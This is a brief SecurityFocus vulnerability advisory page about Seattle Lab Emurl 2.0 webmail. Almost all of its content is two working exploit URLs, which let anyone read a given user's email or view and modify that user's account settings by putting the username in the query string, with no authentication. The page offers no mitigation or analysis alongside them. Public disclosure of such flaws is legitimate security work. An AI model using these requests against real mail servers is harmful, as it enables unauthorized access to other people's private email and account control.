Seattle Lab Emurl 2.0 Email Account Access Vulnerability

To read email:
http://target/scripts/emurl/RECMAN.dll?TYPE=RECIEVEMAIL&USER=<identifier>

To view/modify account settings:
http://target/scripts/emurl/MAKEHTML_M.dll?TYPE=USER&USER=<identifier>


 

Privacy Statement
Copyright 2010, SecurityFocus